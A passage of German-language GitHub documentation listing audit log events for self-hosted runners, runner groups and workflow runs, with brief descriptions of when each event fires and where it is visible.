enterprise.remove_self_hosted_runnerWird ausgelöst, wenn ein selbstgehosteter Runner entfernt wird.
enterprise.runner_group_runners_updatedWird ausgelöst, wenn die Mitgliederliste einer Runnergruppe aktualisiert wird. Weitere Informationen findest du unter Festlegen selbstgehosteter Runner in einer Gruppe für eine Organisation.
enterprise.self_hosted_runner_onlineWird ausgelöst, wenn die Runneranwendung gestartet wird. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter Checking the status of a self-hosted runner („Überprüfen des Status eines selbstgehosteten Runners“).
enterprise.self_hosted_runner_offlineWird ausgelöst, wenn die Runneranwendung angehalten wird. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter Überprüfen des Status eines selbstgehosteten Runners.
enterprise.self_hosted_runner_updatedWird ausgelöst, wenn die Runneranwendung aktualisiert wird. Kann über die REST-API und die Benutzeroberfläche angezeigt werden. Dieses Ereignis ist nicht enthalten, wenn du das Überwachungsprotokoll als JSON-Daten oder CSV-Datei exportierst. Weitere Informationen findest du unter About self-hosted runners („Informationen zu selbstgehosteten Runnern“) und Reviewing the audit log for your organization („Überprüfen des Überwachungsprotokolls für deine Organisation“).
org.register_self_hosted_runnerWird ausgelöst, wenn ein neuer selbstgehosteter Runner registriert wird. Weitere Informationen findest du unter Adding a self-hosted runner to an organization („Hinzufügen eines selbstgehosteten Runners zu einer Organisation“).
org.remove_self_hosted_runnerWird ausgelöst, wenn ein selbstgehosteter Runner entfernt wird. Weitere Informationen findest du unter Removing a runner from an organization („Entfernen eines Runners aus einer Organisation“).
org.runner_group_runners_updatedWird ausgelöst, wenn die Mitgliederliste einer Runnergruppe aktualisiert wird. Weitere Informationen findest du unter Set self-hosted runners in a group for an organization („Festlegen von selbstgehosteten Runnern in einer Gruppe für eine Organisation“).
org.runner_group_updatedWird ausgelöst, wenn die Konfiguration einer selbstgehosteten Runnergruppe geändert wird. Weitere Informationen findest du unter Ändern der Zugriffsrichtlinie einer selbstgehosteten Runnergruppe.
org.self_hosted_runner_onlineWird ausgelöst, wenn die Runneranwendung gestartet wird. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter Checking the status of a self-hosted runner („Überprüfen des Status eines selbstgehosteten Runners“).
org.self_hosted_runner_offlineWird ausgelöst, wenn die Runneranwendung angehalten wird. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter Überprüfen des Status eines selbstgehosteten Runners.
org.self_hosted_runner_updatedWird ausgelöst, wenn die Runneranwendung aktualisiert wird. Kann über die REST-API und die Benutzeroberfläche angezeigt werden. Im JSON-/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter „Informationen zu selbstgehosteten Runnern“.
repo.register_self_hosted_runnerWird ausgelöst, wenn ein neuer selbstgehosteter Runner registriert wird. Weitere Informationen findest du unter Adding a self-hosted runner to a repository („Hinzufügen eines selbstgehosteten Runners zu einem Repository“).
repo.remove_self_hosted_runnerWird ausgelöst, wenn ein selbstgehosteter Runner entfernt wird. Weitere Informationen findest du unter Entfernen eines Runners aus einem Repository.
repo.self_hosted_runner_onlineWird ausgelöst, wenn die Runneranwendung gestartet wird. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter Checking the status of a self-hosted runner („Überprüfen des Status eines selbstgehosteten Runners“).
repo.self_hosted_runner_offlineWird ausgelöst, wenn die Runneranwendung angehalten wird. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter Überprüfen des Status eines selbstgehosteten Runners.
repo.self_hosted_runner_updatedWird ausgelöst, wenn die Runneranwendung aktualisiert wird. Kann über die REST-API und die Benutzeroberfläche angezeigt werden. Im JSON-/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter „Informationen zu selbstgehosteten Runnern“.

Ereignisse für selbstgehostete Runnergruppen

AktionBESCHREIBUNG
enterprise.runner_group_createdWird ausgelöst, wenn eine selbstgehostete Runnergruppe erstellt wird. Weitere Informationen findest du unter Creating a self-hosted runner group for an enterprise („Erstellen einer selbstgehosteten Runnergruppe für ein Unternehmen“).
enterprise.runner_group_removedWird ausgelöst, wenn eine selbstgehostete Runnergruppe entfernt wird. Weitere Informationen findest du unter Removing a self-hosted runner group („Entfernen einer selbstgehosteten Runnergruppe“).
enterprise.runner_group_runner_removedWird ausgelöst, wenn die REST-API verwendet wird, um einen selbstgehosteten Runner aus einer Gruppe zu entfernen.
enterprise.runner_group_runners_addedWird ausgelöst, wenn ein selbstgehosteter Runner zu einer Gruppe hinzugefügt wird. Weitere Informationen findest du unter Moving a self-hosted runner to a group („Verschieben eines selbstgehosteten Runners in eine Gruppe“).
enterprise.runner_group_updatedWird ausgelöst, wenn die Konfiguration einer selbstgehosteten Runnergruppe geändert wird. Weitere Informationen findest du unter Changing the access policy of a self-hosted runner group („Ändern der Zugriffsrichtlinie einer selbstgehosteten Runnergruppe“).
org.runner_group_createdWird ausgelöst, wenn eine selbstgehostete Runnergruppe erstellt wird. Weitere Informationen findest du unter Creating a self-hosted runner group for an organization („Erstellen einer selbstgehosteten Runnergruppe für eine Organisation“).
org.runner_group_removedWird ausgelöst, wenn eine selbstgehostete Runnergruppe entfernt wird. Weitere Informationen findest du unter Removing a self-hosted runner group („Entfernen einer selbstgehosteten Runnergruppe“).
org.runner_group_updatedWird ausgelöst, wenn die Konfiguration einer selbstgehosteten Runnergruppe geändert wird. Weitere Informationen findest du unter Changing the access policy of a self-hosted runner group („Ändern der Zugriffsrichtlinie einer selbstgehosteten Runnergruppe“).
org.runner_group_runners_addedWird ausgelöst, wenn ein selbstgehosteter Runner zu einer Gruppe hinzugefügt wird. Weitere Informationen findest du unter Moving a self-hosted runner to a group („Verschieben eines selbstgehosteten Runners in eine Gruppe“).
org.runner_group_runner_removedWird ausgelöst, wenn die REST-API verwendet wird, um einen selbstgehosteten Runner aus einer Gruppe zu entfernen. Weitere Informationen findest du unter Remove a self-hosted runner from a group for an organization („Entfernen eines selbstgehosteten Runners aus einer Gruppe für eine Organisation“).

Ereignisse für Workflowaktivitäten

AktionBESCHREIBUNG
cancel_workflow_runWird ausgelöst, wenn eine Workflowausführung abgebrochen wurde. Weitere Informationen findest du unter „Abbrechen eines Workflows“.
completed_workflow_runWird ausgelöst, wenn sich ein Workflowstatus in completed ändert. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON-/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter Aufrufen des Workflowausführungsverlaufs.
created_workflow_runWird ausgelöst, wenn eine Workflowausführung erstellt wird. Kann nur über die REST-API angezeigt werden. Über die Benutzeroberfläche oder im JSON-/CSV-Export ist dieses Ereignis nicht sichtbar. Weitere Informationen findest du unter „Erstellen eines Beispielworkflows“.
delete_workflow_runWird ausgelöst, wenn eine Workflowausführung gelöscht wird. Weitere Informationen findest du unter Löschen einer Workflowausführung.
disable_workflowWird ausgelöst, wenn ein Workflow deaktiviert wird.
enable_workflowWird ausgelöst, wenn ein Workflow aktiviert wird, nachdem er zuvor mit disable_workflow deaktiviert wurde.
rerun_workflow_runWird ausgelöst, wenn eine Workflowausführung wiederholt wird. Weitere Informationen findest du unter „Erneutes Ausführen eines Workflows“.
prepared_workflow_jobWird ausgelöst, wenn ein Workflowauftrag gestartet wird. Enthält die Liste der Geheimnisse, die dem Auftrag zur Verfügung gestellt wurden. Die Anzeige ist nur mithilfe der REST-API möglich. Sie wird nicht auf der Weboberfläche von GitHub angezeigt und ist nicht im JSON/CSV-Export enthalten. Weitere Informationen findest du unter Ereignisse, die Workflows auslösen.
approve_workflow_jobWird ausgelöst, wenn ein Workflowauftrag genehmigt wurde. Weitere Informationen findest du unter Überprüfen von Bereitstellungen.
reject_workflow_jobWird ausgelöst, wenn ein Workflowauftrag abgelehnt wurde. Weitere Informationen findest du unter Überprüfen von Bereitstellungen.